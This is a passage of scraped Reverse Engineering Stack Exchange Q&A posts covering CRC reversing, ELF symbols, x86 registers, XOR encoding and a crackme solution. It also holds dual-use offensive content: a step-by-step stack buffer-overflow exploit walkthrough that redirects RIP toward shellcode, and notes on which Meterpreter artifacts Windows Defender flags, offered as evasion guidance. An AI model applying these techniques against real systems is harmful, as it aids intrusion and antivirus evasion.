    gcc vuln.c -o vuln -z execstack -fno-stack-protector\n
    \n\n

    I manage to overwrite rip with 6 B's using

    \n\n
    gdb$ run $(python -c 'print \"A\"*264 + \"B\"*6')\n
    \n\n

    and get the following result in gdb:

    \n\n
    RSI: 0x602010 ('A' <repeats 200 times>...)\nRDI: 0x1 \nRBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd9d0 --> 0x0 \nRIP: 0x424242424242 ('BBBBBB')\nStopped reason: SIGSEGV\n0x0000424242424242 in ?? ()\n
    \n\n

    Which makes perfect sense to me.

    \n\n

    I would like to overwrite rip with the beginning of my buffer of \"A\"'s so I can later place my shellcode at the beginning of the buffer (preceeded by some noop's):

    \n\n

    So, knowing, how many A's I wrote in the buffer I have a look at rsp minus an offset (I am just playing with the offset until I get a line starting with A's:

    \n\n
    gdb$ x/20x $rsp-288\n0x7fffffffd8b0: 0x00007fffffffdaa8  0x0000000200000000\n0x7fffffffd8c0: 0x4141414141414141  0x4141414141414141\n0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141\n
    \n\n

    So, from this I am taking, that my buffer starts at 0x7fffffffd8c0 on the stack.

    \n\n

    Next I'll redirect rip to 0x7fffffffd8c0 as follows:

    \n\n
    gdb$ run $(python -c 'print \"A\"*264 + \"\\x7f\\xff\\xff\\xff\\xd8\\xc0\"[::-1]')\n
    \n\n

    Which works:

    \n\n
    RBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd9d0 --> 0x0 \nRIP: 0x7fffffffd8c0 ('A' <repeats 200 times>...)\n
    \n\n

    As I am planning to put shellcode at the beginning of the buffer I just assume, my shellcode will be 10 bytes long and see if this works:

    \n\n
    gdb$ run $(python -c 'print \"S\"*10 + \"A\"*254 + \"\\x7f\\xff\\xff\\xff\\xd8\\xc0\"[::-1]')\n
    \n\n

    and now something I don't understand happens: Despite the fact, that I write exactly the same amount of characters into my buffer, the value of rip changes, apparently it no longer points to the start of my buffer:

    \n\n
    RSI: 0x602010 (\"SSSSSSSSSS\", 'A' <repeats 190 times>...)\nRDI: 0x1 \nRBP: 0x4141414141414141 ('AAAAAAAA')\nRSP: 0x7fffffffd980 --> 0x0 \nRIP: 0x7fffffffd8ca ('A' <repeats 182 times>)\n
    \n\n

    Instead of 0x7fffffffd8c0 rip now contains 0x7fffffffd8ca.

    \n\n

    So it is actually still pointing to the beginning of my A's instead of the S's which I injected in my python command:

    \n\n
    gdb-peda$ x/20 $rip-10\n0x7fffffffd8c0: 0x5353535353535353  0x4141414141415353\n0x7fffffffd8d0: 0x4141414141414141  0x4141414141414141\n
    \n\n

    Obviously I am just getting started with this stuff.

    \n\n

    Why is this happening?

    \n\n

    What am I missing?

    \n", "Title": "x86-64 bit Buffer Overflow, help with overwriting %rip", "Tags": "|buffer-overflow|amd64|", "Answer": "

    Don't worry, the shellcode is executing properly, just that the debugger \"skipped\" past the execution.

    \n\n

    Remember that rip is the instruction pointer and whatever code present at the rip is executed. If the code is invalid however, something will go wrong (for example a SIGSEGV will be raised)

    \n\n

    In this particular case, a S (byte \\x53) corresponds to a push rbx command (which is valid, and push 8 bytes to the stack), while an A is a rex.B - basically speaking, it causes a SIGSEGV in this case.

    \n\n

    So in the latter case, ten push rbx commands get executed. (note the esp is decreased by 0x7fffffffd9d0 - 0x7fffffffd980 = 0x50, which is 10 times the size of rbx)

    \n\n

    What you can do instead: Break at the ret instruction in the main function. After the breakpoint is hit, execute 1 more instruction then the rip should have the desired value.

    \n" }, { "Id": "19684", "CreationDate": "2018-10-22T13:14:55.820", "Body": "

    Yes, it's one of these!

    \n\n

    I have a 199mumble Brother integrated word processor, with a very weird non-PC floppy format. I've built a floppy controller and have successfully read the flux off the disk, decoded both kinds of GCR, and reassembled the result into a disk image. But I need to be able to check the checksums in the sectors to know whether I've done it right. (Eyeballing it looks good.)

    \n\n

    Each sector is 256 bytes and is followed by three bytes which vary depending on the contents of the sector --- identical sectors produce identical values, so I'm assuming it's a checksum. Interestingly, the all-zero sector produces an all-zero checksum, so I suspect it's not a regular CRC.

    \n\n

    I have 100 different examples but there may be some incorrect results in there (due to misread sectors); the full list is at https://pastebin.com/0HZrUVPR but here are a few selected examples, in what's hopefully reveng format so the checksum is in the last three bytes:

    \n\n
    00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005750314120464c4f505059080000000000000000000000000000000000000000616161616161616120202020000000000000000000000000000002000a5d000064656d6f20202020a4ca1a\n414141414141414141410000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008b38af\n414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141415a6ea1\n41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141de6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738394141414141414141414141414141414141414141414141414141414141de41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141413362ac\n
    \n\n

    Note that the last two contain the same data, rotated right a whole number of bytes.

    \n\n

    So, I'm stumped. There are some 24 bit CRCs but they appear to be quite rare. reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to. I've tried some trivial summing methods but the easy ones didn't work and there are too many variations just to guess.

    \n\n

    How would I go about figuring this out?

    \n", "Title": "Reverse-engineering a weird 24-bit possibly not CRC checksum", "Tags": "|crc|", "Answer": "

    The answer turns out to be very simple, once you understand what CRC is.

    \n\n

    It's similar to a CRC -- the checksum is the remainder when dividing the input by the polynomial with truncated representation 0x000201.

    \n\n

    I wrote a quick Python script to validate checksum:

    \n\n\n\n
    def crc(data, poly):\n    # width = 24 bit\n    # data len = 2048 bit\n    assert poly<(1<<24)\n    for i in range(2048-1,24-1,-1):\n        if data>>i&1:\n            data^=1<<i\n            data^=poly<<(i-24)\n    assert i==24\n    assert data<(1<<24)\n    return data\n\nimport sys\nfor line in sys.stdin.read().splitlines():\n    line = int(line,16)\n    print(crc(line>>24,0x000201) == line&~(-1<<24))\n
    \n\n

    Try it online!

    \n\n

    The crc function may be used to generate missing checksum values.

    \n\n

    How?

    \n\n

    First, I assumed that the checksum function satisfies the property: for all x and y, we have checksum(x) xor checksum(y) == checksum(x xor y).

    \n\n

    Using Gaussian elimination on the provided data, I can deduce that the hash of 000000...000000bb0301 is bb0301. Looks pretty reasonable.

    \n\n

    Then, I read about existing hash functions and see what method they uses. I note that CRC uses polynomial remainder mod 2, so I guess that the hash is the input as a polynomial modulo some polynomial with degree 25 (because the output has 24 bits).

    \n\n

    With simple brute force, I conclude that the polynomial is 000201. Testing reveals that it's correct.

    \n\n
    \n

    reveng had nothing, but I'm not entirely sure I'm driving it correctly --- it appeared to execute more quickly than anything which does a brute force search ought to.

    \n
    \n\n

    Why reveng executes so quickly?

    \n\n

    It's because there are only 2width possible polynomials. reveng only takes small time to try each polynomial. In this case width = 24, so there are only 1048576 polynomials, which is not very large for a computer.

    \n\n

    Why reveng returns no output? What's the difference between this and CRC?

    \n\n

    CRC appends width (in this case - 24) bits to the input before computing polynomial remainder, this algorithm doesn't.

    \n" }, { "Id": "19688", "CreationDate": "2018-10-22T16:40:23.730", "Body": "

    I have an ELF 32-bit binary and it is a stripped binary.

    \n\n

    Yet, when I load with IDA Pro, I can see the function names like write, open, malloc and so on. So, I am trying to understand if the binary is stripped, then why am I still able to see these function names?

    \n\n

    Output of file command for the binary:

    \n\n
    ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped\n
    \n\n

    Example of a code section from the binary:

    \n\n
    .text:080485D0                 push    offset asome_string ; \"[ some string ]\\n\"\n.text:080485D5                 call    sub_80483F0\n\n\n.text:080483F0 buf             = dword ptr  4\n.text:080483F0\n.text:080483F0                 sub     esp, 0Ch\n.text:080483F3                 sub     esp, 4\n.text:080483F6                 sub     esp, 8\n.text:080483F9                 push    [esp+18h+buf]\n.text:080483FD                 call    sub_8049EA0\n.text:08048402                 add     esp, 0Ch\n.text:08048405                 push    eax             ; n\n.text:08048406                 push    [esp+14h+buf]   ; buf\n.text:0804840A                 push    1               ; fd\n.text:0804840C                 call    _write\n.text:08048411                 add     esp, 10h\n.text:08048414                 add     esp, 0Ch\n.text:08048417                 retn\n
    \n\n

    In the above code section, sub_80483F0 is a subroutine which takes one argument. This subroutine will then call sub_8049EA0 to calculate the length of the buffer and then write the buffer to stdout.

    \n\n

    So, _write is a symbol which was resolved by IDA Pro.

    \n\n

    How did IDA Pro resolve _write?

    \n\n

    I can see the _write is defined inside the .plt section of the ELF as shown below:

    \n\n
    .plt:08048330 _write          proc near               ; CODE XREF: sub_80483F0+1Cp\n.plt:08048330                 jmp     ds:write_ptr\n.plt:08048330 _write          endp\n
    \n\n

    It has a jump stub which points to write_ptr

    \n\n

    write_ptr is inside the .got.plt which I think will be populated with the correct value of the function pointer at runtime.

    \n\n

    But the question is, if the binary is stripped then shouldn't it have prevented IDA Pro from displaying the function name, _write in the first place?

    \n\n

    Thanks.

    \n", "Title": "IDA Pro is showing Function names for a Stripped Binary", "Tags": "|ida|elf|", "Answer": "

    write is a function that is imported from one of your system modules.\nBecause it has to be imported, the name should be available in your binary, and ida uses this to automatically name the stub that calls the function.

    \n\n

    As a little experiment, try: objdump -T yourfile, and you should see something like the following (from a dummy x64 binary):

    \n\n
    objdump -T test\n\ntest:     file format elf64-x86-64\n\nDYNAMIC SYMBOL TABLE:\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5 write\n0000000000000000      DF *UND*  0000000000000000  GLIBC_2.2.5     __libc_start_main\n0000000000000000  w   D  *UND*  0000000000000000              __gmon_start__\n
    \n\n

    Or even simpler:\nstrings yourfile

    \n" }, { "Id": "19693", "CreationDate": "2018-10-22T21:34:14.390", "Body": "

    I am currently learning reverse engineering and am studying the flags register.

    \n\n

    I had in my mind that rflags was just another name for one of the 16 general purpose registers, for example rax or rbx.

    \n\n

    But it looks like rflags is actually an additional register. So that makes 17 registers in total... how many more could there be?

    \n\n

    I have spent at least an hour on this and found numerous different answers.

    \n\n

    The best answer so far is this, which says that there are 40 registers in total.

    \n\n
      \n
    • 16 General Purpose Registers
      • \n
    • 2 Status Registers
      • \n
    • 6 Code Segment Registers
      • \n
    • 16 SSE Registers
      • \n
    • 8 FPU/MMX Registers
      • \n
    \n\n

    But if I add that up, I get 48.

    \n\n

    Could anybody provide an official answer on how many registers an x86_64 CPU has (e.g. an Intel i7).

    \n\n

    Additionally, I have seen references to 'hardware' and 'architectural' registers. What are those registers and how many are there?

    \n", "Title": "How many registers does an x86_64 CPU actually have?", "Tags": "|assembly|register|x86-64|", "Answer": "

    I believe the discrepancy between 40 and actual sum of 48 is mostly an error, however there are many other registers used for handling hardware, memory management, and control of different features of the CPU.

    \n\n

    The answer you linked to covers all the commonly used registers in the following image (taken from there):

    \n\n

    \"commonly

    \n\n

    There are, however plenty of less commonly known registers. Those registers are not likely used by user mode programs but used to control and initialize the processor and low-level constructs the CPU is aware of. They control CPU subsystems such as the MMU unit, task scheduling, etc. Documentation of those registers can be found in the AMD64 Architecture Manual.

    \n\n

    You can see most of them in the following figure, taken from the AMD64 Architecture Manual:

    \n\n

    \"system

    \n\n

    Not in the above picture is the new Extended Control Registers family of registers, for which only XCR0 is currently defined.

    \n\n

    The System Registers are part of the Model Specific Registers that, as the name implied, are model specific. The variety also changes between CPUs. A full list for the AMD64 architecture can be found in \"Appendix A MSR Cross-Reference\" of the AMD64 Architecture Manual.

    \n\n
    \n\n

    There are extensions that certain AMD64 based CPUs support/implement that extend the set of XMM registers available. The XMM (and later YMM and ZMM) are currently extended to up to 32 registers of 512 bit each in AVX-512. Similar to general registers, XMM registers allow access to the lower parts of their YMM and ZMM counterparts.

    \n\n

    There are additionally what's called \"memory mapped registers\" which basically means those registers are accessed through memory operations instead of designated instructions. They can be, depending on your definition, countered as registers. One such example is the \"APIC Registers\" described in section 16.3.2 of the AMD64

    \n\n

    There are even internal registers that are not exposed through the instruction set but are used for performance reasons.

    \n" }, { "Id": "19704", "CreationDate": "2018-10-23T20:41:23.687", "Body": "

    I'm trying to reverse-engineer a proprietary file format to be able to extract certain strings from files in this format. I have the application, that writes the files, at hand.

    \n\n

    By trial-and-error I found out a few characters, however I'm currently clueless what kind of encoding this is or if there exists some kind of shift to obfuscate things.

    \n\n

    The alphabet I found out by saving strings with the proprietary application looks like this:

    \n\n
    0x3B: 'a'\n0x38: 'b'\n0x39: 'c'\n0x3E: 'd'\n0x3F: 'e'\n0x3C: 'f'\n0x3D: 'g'\n0x32: 'h'\n0x33: 'i'\n0x30: 'j'\n0x31: 'k'\n0x36: 'l'\n0x37: 'm'\n0x34: 'n'\n0x35: 'o'\n0x2A: 'p'\n0x2B: 'q'\n0x28: 'r'\n0x29: 's'\n0x2E: 't'\n0x2F: 'u'\n0x2C: 'v'\n0x2D: 'w'\n0x22: 'x'\n0x23: 'y'\n0x20: 'z'\n
    \n\n

    I tried looking at the shift from the Unicode codepoints. Going from a onwards you get a shift of 38, 42, 42, 38, 38, 42, 42, 54, 54, 58, 58, 54, 54, etc.

    \n\n

    Do you see any pattern? Any idea on how to proceed except continuing to complete all characters by manual trial-and-error? Would really like to get some basic hints / other things I could try as this is the first time I am doing this.

    \n", "Title": "Find out string encoding/shift of proprietary binary file format", "Tags": "|file-format|deobfuscation|encodings|strings|", "Answer": "

    It's a simple exclusive-or (^) operation with the byte 0x5A.

    \n\n

    With your examples -

    \n\n
    'a' 0x61 ^ 0x5A = 0x3B\n'b' 0x62 ^ 0x5A = 0x38\n'z' 0x7A ^ 0x5A = 0x20\n
    \n\n

    Plus some others you should be able to check -

    \n\n
    '!' 0x21 ^ 0x5A = 0x7B\n'4' 0x34 ^ 0x5A = 0x6E\n'Q' 0x51 ^ 0x5A = 0x0B\n']' 0x5D ^ 0x5A = 0x07\n
    \n" }, { "Id": "19712", "CreationDate": "2018-10-24T19:47:56.500", "Body": "

    As a pentester for a consulting agency, it is part of our job to \"evade\" antivirus after gaining code execution on information systems. It is indeed necessary to prove exploitation of vulnerabilities, as opposed to simply reporting them. If an AV detects the tools we use, clients often will disregard the vulnerability because they are not convinced by the risk it causes.

    \n\n

    We noticed that Windows Defender detects the metsrv.dll from Metasploit Framework in memory and kills our shell. The detection is done by mpengine.dll and is either done by some kind of criteria on the emulated binary or is a pattern of bytes in the DLL.

    \n\n

    Now that the context of the question is clear, here is the actual question: how could I proceed to pin point exactly what the signature for this file is ?

    \n\n

    Before your answer, here are the conclusions I have already come to:

    \n\n
      \n
    • Windows Defender's scanning engine detects metsrv.dll from Metasploit at the moment it is loaded into memory.
      • \n
    • I can use Taviso's loadlibrary to reproduce the detection statically on GNU/Linux, using the following command:
      • \n
    \n\n

    \n./mpclient metsrv.x64.dll\nmain(): Scanning metsrv.x64.dll...\nEngineScanCallback(): Scanning input\nEngineScanCallback(): Threat HackTool:Win64/Meterpreter.A!dll identified.\n

    \n\n
      \n
    • I have reduced the sample size down from 200 kb to 13 kb using the GNU split utility and a \"binary search\" approach: the sample is split in two parts, both are fed to Windows Defender and the part that is detected is then split in two more parts. Repeat until it is possible, so as to minimize the test case.
      • \n
    • Disassembling mpengine.dll is not very helpful, because there are more than 30k functions found by IDA Pro in it.
      • \n
    • Code coverage analysis with Pin allows to reduce this set to 3k functions, which is still too much to analyze statically.
      • \n
    • mpengine.dll can be debugged in gdb. I put a watch point on the string \"Win64/Meterpreter.A!dll\" to see if I could find an interesting function that would read at this location, maybe at a time close to the verdict's time. Still lost because of the size of the code, even though the watch point is triggered two times.
      • \n
    • A script on GitHub called avwhy.py allows to infer signatures from AVs by changing one byte at a time and memorizing the ones that impact the AV's verdict. After running more than 16 hours, the tool returned me the whole file as part of the signature, which looks like a wrong result: it is improbable that using the split utility I have found the exact signature, because I expect to either have too much bytes or having removed useful bytes from the signature.
      • \n
    \n\n

    As you can see, I have spent numeral hours on this. The goal is to find the exact signature, not to evade it by applying some kind of transformation on metsrv.dll. I think it is a fun reverse engineering challenge but I am stuck for now.

    \n\n

    What are the steps that I need to take in order to accomplish my goal?

    \n\n

    Edit: In order to clarify what I'm trying to do, here is a self-published paper from Tavis Ormandy: Sophail: A Critical Analysis of Sophos Antivirus

    \n\n

    At page 3, he shows the signature for the file \"Attention 629\". I am trying to achieve the same result. Of course I can attack the 3k functions and work from here, but I suppose Tavis had a more intelligent approach, and that is the type of answers I'm looking for.

    \n", "Title": "Reverse engineering Windows Defender's signature for Metasploit Framework's metsrv.dll", "Tags": "|ida|debugging|binary-analysis|gdb|disassemblers|", "Answer": "

    I found all the signatures by performing an Out-of-Band attack on the engine and with the help of a huge set of mutated files. Lots of reverse-engineering as well. I had to triage a lot of false positives and it required manual work, so this is still not the ideal approach, but clearly more scalable than the other suggested ones.

    \n\n

    I have shared some of the findings with the rapid7 team as you can see here: https://github.com/rapid7/metasploit-framework/issues/10815

    \n\n

    Below is copy-paste for compliance with this forum's rules:

    \n\n

    Let's say you have a FUD stager and that you encode the STAGES. Windows Defender can still detect your meterpreter session because it has a kernel-land callback to detect when images are loaded into memory (like every competitive AV). This is done with PsSetLoadImageNotifyRoutine &co.

    \n\n

    Upon these events, Windows Defender performs a scan on the memory region where the image is loaded and search for STATIC signatures (far from machine learning and behavioural analysis...)

    \n\n

    Common detected artifacts are:

    \n\n
      \n
    • Constants such as strings (\"[*] Attempting to add user %s to group %s on domain controller %s\") => such a high score that it is almost an EICAR test, although WD checks that it belongs in a file that follows the PE format.
      • \n
    • Large integer (for instance 0x6A4ABC5B in ReflectiveLoader.h, which is a rot13 hash used to locate APIs that everyone copy pasted around for years);
      • \n
    • Pieces of hard-coded shellcode (each one in base_inject.c, for instance x48\\xC1\\xE8\\x20);
      • \n
    • DLL exports (for instance the export \"ReflectiveLoader\" is searched both by WD and Kaspersky).
      • \n
    \n\n

    Some strings have a very low score but still matter in the verdict. If you have any of the elements above you will get flagged for sure, and removing the low scores ones won't have any impact. An example of such string is \"scheduler_insert_waitable\".

    \n\n

    All in all, \"hide yo wife hide your strings\"...

    \n" }, { "Id": "19724", "CreationDate": "2018-10-25T20:50:54.983", "Body": "

    Do stack addresses change every time we remotely debug a Linux binary using linux_server and IDA Pro?

    \n\n

    I am using IDA Pro and remote debug a linux binary which is running on a Linux machine and I am using linux_server as the dbgsrv.

    \n\n

    I noticed that when I enter a subroutine, the stack address is different every time. Is it expected? Is it because I am debugging remotely?

    \n", "Title": "Remote Debugging Linux Binaries - Stack Address Changes?", "Tags": "|ida|linux|stack|", "Answer": "

    Most modern operating systems never guaranteed the stack's location will be the same for different process creations to begin with, and this was mostly a byproduct of deterministic execution of those allocations during the operating system's process creation flow.

    \n\n

    Moreover, that fact was then used quite frequently to use constant values for stack addresses during exploitation, which is what ASLR prevents. for a while now stacks are being ASLRed to mitigate exploitation, and are actually guaranteed to be randomized.

    \n" }, { "Id": "19729", "CreationDate": "2018-10-26T00:12:06.260", "Body": "

    Below is a complex pseudocode for a mathematical problem which attempts to check if a password entered is correct or not.

    \n\n

    Previous Analysis Done:\nData is arranged in the form of 3x3 Matrix with i,j as row, columns and k as a temporary variable to generate test conditions.\nElements v6, v7, v8 .. etc are used in the k loop as an array.\nThe end goal is to return 0 for successful completion of the code.

    \n\n
    signed __int64 __fastcall check_password(const char *a1)\n{\n  signed int i; // [rsp+10h] [rbp-30h]\n  signed int j; // [rsp+14h] [rbp-2Ch]\n  int v4; // [rsp+18h] [rbp-28h]\n  signed int k; // [rsp+1Ch] [rbp-24h]\n  char v6; // [rsp+20h] [rbp-20h]\n  char v7; // [rsp+21h] [rbp-1Fh]\n  char v8; // [rsp+22h] [rbp-1Eh]\n  char v9; // [rsp+23h] [rbp-1Dh]\n  char v10; // [rsp+24h] [rbp-1Ch]\n  char v11; // [rsp+25h] [rbp-1Bh]\n  char v12; // [rsp+26h] [rbp-1Ah]\n  char v13; // [rsp+27h] [rbp-19h]\n  char v14; // [rsp+28h] [rbp-18h]\n  unsigned __int64 v15; // [rsp+38h] [rbp-8h]\n\n  v15 = __readfsqword(0x28u);\n  v6 = 79; \n  v7 = 8;\n  v8 = 29;\n  v9 = 58;\n  v10 = 81;\n  v11 = 21;\n  v12 = 49;\n  v13 = 123;\n  v14 = 114;\n  if ( strlen(a1) != 9 )\n    return -1;\n  for ( i = 0; i <= 2; ++i )\n  {\n    for ( j = 0; j <= 2; ++j )\n    {\n      v4 = 0;\n      for ( k = 0; k <= 2; ++k )\n        v4 = (a1[3 * k + j] * *(&v6 + 3 * i + k) + v4) % 127;\n      if ( i == j )\n      {\n        if ( v4 != 1 )\n          return -2;\n      }\n      else if ( v4 )\n      {\n        return -2;\n      }\n    }\n  }\n  return 0;\n}\n
    \n", "Title": "Need help understanding a complex mathematical password checking function?", "Tags": "|assembly|math|", "Answer": "

    Since you've already mostly decoded the code, there are two things left: 1) understand what the code is doing and 2) understand how to compute the appropriate input.

    \n\n

    The original code

    \n\n

    First, here's a slightly modified bit of code based on what you already had:

    \n\n
    int check_password(const char *s) {\n    char fixed[] __attribute__ ((aligned (16))) = { 79, 8, 29, 58, 81, 21, 49, 123, 114 };\n    if (strlen(s) != 9)\n        return -1;\n    for (int i=0; i < 3; ++i) {\n        for (int j=0; j < 3; ++j) {\n            int sum = 0;\n            for (int k=0; k < 3; ++k) {\n                sum = (fixed[3 * i + k] * s[3 * k + j] + sum) % 127;\n            }\n            if (i == j) {\n                if (sum != 1) {\n                    return -2;\n                }\n            } else if (sum) {\n                return -2;\n            }\n        }\n    }\n    return 0;\n}\n
    \n\n

    The __attribute__ ((aligned (16))) can be ignored for our purposes. (I had included that to get gcc to use the same stack offset as your sample code.) What the code is doing is multiplying two 3x3 matrices, mod 127, and checking for the identity matrix.

    \n\n

    The mathematics

    \n\n

    Unfortunately, ReverseEngineering does not support MathJax, or I'd be able to write out pretty equations. Since I can't we'll do it the hard way. Let's say s = \"ABCDEFGHI\" is the input password and we treat it as a 3x3 matrix. For now, if we just assign uppercase letters to each letter in the password, expressed as a matrix, this is:

    \n\n
    A B C        79   8  29       1 0 0\nD E F   x    58  81  21   =   0 1 0    (mod 127)\nG H I        49 123 114       0 0 1\n
    \n\n

    If you're familiar with matrix manipulation already, you may already recognize that this means that s must be the inverse of the fixed matrix. There are multiple ways of calculating this, such as by Gauss-Jordan elimination. Another way is to multiply the reciprocal of the determinant of the matrix by the transpose of its cofactor matrix. Note that all of the mathematics is done mod 127, as per the original code.

    \n\n

    Worked example

    \n\n

    To make things a bit more concrete, I'll use the latter method and show the step-by-step worked solution. First, we calculate the determinant using the Leibniz formula.

    \n\n
    D = 79*81*114 + 8*21*49 + 29*58*123 - 29*81*49 - 8*58*114 - 79*21*123   (mod 127)\nD = 572550 (mod 127)\nD = 34  (mod 127)\n
    \n\n

    To compute the reciprocal, of this we can't just use 1/34 because we're working with modular mathematics. So just in the way that we'd expect that 34 * 1/34 = 1 for regular mathematics, in modular mathematics, we're looking for something that satifies the equation 34 * x = 1 (mod 127). One way to do this is to use the extended Euclidean algorithm. I won't go through that algorithm here, but in this case, the answer is 71 (which we can verify by noting that 71 * 34 = 2414 = 1 (mod 127).

    \n\n

    Next we calculate the cofactor matrix. Here again, we won't go through all of the steps, but the cofactor matrix of fixed is:

    \n\n
     6651  -5583   3165\n 2655   7585  -9325     (mod 127) \n-2181     23   5935\n
    \n\n

    Since we're working with modular mathematics, we can reduce this:

    \n\n
     47     5   117\n115    92    73      (mod 127)\n105    23    93\n
    \n\n

    Now all that's left is to multiply them together:

    \n\n
             47     5   117\n71   *  115    92    73      (mod 127)\n        105    23    93\n\n\n3337    355   8307\n8165   6532   5183   (mod 127) \n7455   1633   6603\n\n35   101    52\n37    55   103    (mod 127)\n89   109   126\n
    \n\n

    Finally, we take the transpose:

    \n\n
     35    37    89\n101    55   109\n 52   103   126\n
    \n\n

    If we then translate this matrix back into an ASCII string, we get \"#%Ye7m4g~\" which is the inverse of the given matrix and the solution to this reverse engineering problem.

    \n\n

    Why this might matter

    \n\n

    While it may be an interesting enough puzzle by itself, these kinds of transformations using discrete mathematics and modular arithmetic are fundamental to many areas of modern cryptography. Since you've already started looking into reverse engineering, you may find it useful and interesting to study these topics as well.

    \n" }, { "Id": "19730", "CreationDate": "2018-10-26T01:38:37.477", "Body": "

    \"XCHG RAX, RAX\" is a kind of riddle book that provides assembly code for you to reverse and undercover the meaning. Some of the examples calculate the Fibonacci sequence others bit-twiddle to toggle ASCII case. The snippet (riddle) on 0x03 is,

    \n\n
    sub  rdx,rax\nsbb  rcx,rcx\nand  rcx,rdx\nadd  rax,rcx\n
    \n\n

    How does this code work, and what does it do?

    \n", "Title": "XCHG RAX, RAX: 0x03, what does this code do and how does it work?", "Tags": "|x86|x86-64|", "Answer": "

    This code boils down to,

    \n\n
    rax = min(rdx,rax)\nrdx = sub(rdx,rax) ; store the difference in rdx\n
    \n\n

    That is essentially,

    \n\n
      \n
    • rdx - 0 (if rdx is the min)
      • \n
    • rdx - (rdx-rax) (if rax is the min)
      • \n
    \n\n

    The sbb and and here just move into rcx either

    \n\n
      \n
    • 0
      • \n
    • rdx-rax
      • \n
    \n\n

    What determines what gets moved into rcx? That's determined by the result of the sbb. The sbb is doing reg - reg - CF. So you're either ANDing against all 1s or all 0s.

    \n\n

    This is how I reasoned about it

    \n\n
    # CF=0; rdx > rax\nif ( rdx > rax ) {\n  rdx -= rax\n  rcx = 0     ; all bits off\n\n\n              ; AND 0 (rcx) with anything (in rdx) is nop here.\n              ; ADDing 0 (rcx) to rax is a nop\n}\n\n\n\n# CF=1; rax > rdx\nelse {\n  rdx -= rax\n  rcx = -1    ; all bits on\n\n\n  rcx = rdx   ; code is rcx &= rdx\n              ; remember -1 & x == x\n  rax += rcx\n\n}\n
    \n\n

    Note regardless of the carry flag, this code will store the difference in rdx

    \n" }, { "Id": "19734", "CreationDate": "2018-10-26T17:47:28.760", "Body": "

    Today I was investigating an issue with a Microsoft DLL, mscordacwks.dll, which is part of the .NET framework. I've seen it many times before and it always was a regular PE file, meaning that it started with the magic MZ.

    \n\n

    However, the file today starts with DCD in ASCII. I could only find a reference to ELF binaries that use DCD in the disassembled code. However, this is about DCD as the first three bytes of the file.

    \n\n

    Here's the start of the DLL:

    \n\n
    Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  44 43 44 01 38 01 EE 42 00 00 0A 00 50 41 33 30  DCD.8.\u00eeB....PA30\n00000010  80 16 D7 D5 DE B1 9D 01 B0 4E 10 D0 C7 04 0C C4  \u20ac.\u00d7\u00d5\u00de\u00b1..\u00b0N.\u00d0\u00c7..\u00c4\n00000020  84 D6 08 01 42 01 04 00 88 FB 17 32 00 00 00 00  \u201e\u00d6..B...\u02c6\u00fb.2....\n00000030  00 00 08 7D DE D3 AA 02 A0 2C AA AA AA AA AA AA  ...}\u00de\u00d3\u00aa.\u00a0,\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\n00000040  AA AA AA AA AA 1A AA AA AA 1A AA AA AA AA A1 01  \u00aa\u00aa\u00aa\u00aa\u00aa.\u00aa\u00aa\u00aa.\u00aa\u00aa\u00aa\u00aa\u00a1.\n00000050  20 D2 A1 AA AA AA AA AA AA AA AA AA 22 2A AA AA   \u00d2\u00a1\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\u00aa\"*\u00aa\u00aa\n00000060  AA AA A1 8D 09 00 FF 3F 00 1C F4 3F 00 F0 FF 51  \u00aa\u00aa\u00a1...\u00ff?..\u00f4?.\u00f0\u00ffQ\n00000070  00 F0 04 00 FF 01 74 50 66 80 88 D0 1A 00 68 68  .\u00f0..\u00ff.tPf\u20ac\u02c6\u00d0..hh\n00000080  44 33 33 00 00 00 00 00 30 65 97 00 50 67 64 96  D33.....0e\u2014.Pgd\u2013\n00000090  28 6E 66 90 71 23 8E E3 B8 26 E2 54 1A 62 12 23  (nf.q#\u017d\u00e3\u00b8&\u00e2T.b.#\n000000A0  12 8B C5 20 63 92 18 44 C4 71 1A 44 E2 C4 48 48  .\u2039\u00c5 c\u2019.D\u00c4q.D\u00e2\u00c4HH\n000000B0  1D CB 63 C7 6D EC 36 96 D8 21 26 91 10 93 88 EB  .\u00cbc\u00c7m\u00ec6\u2013\u00d8!&\u2018.\u201c\u02c6\u00eb\n000000C0  9A C4 B1 3C 76 0C 2A 31 22 B5 E3 C4 24 4E 24 A4  \u0161\u00c4\u00b1<v.*1\"\u00b5\u00e3\u00c4$N$\u00a4\n000000D0  31 00 88 53 23 71 EC 38 91 39 76 10 93 D8 42 E2  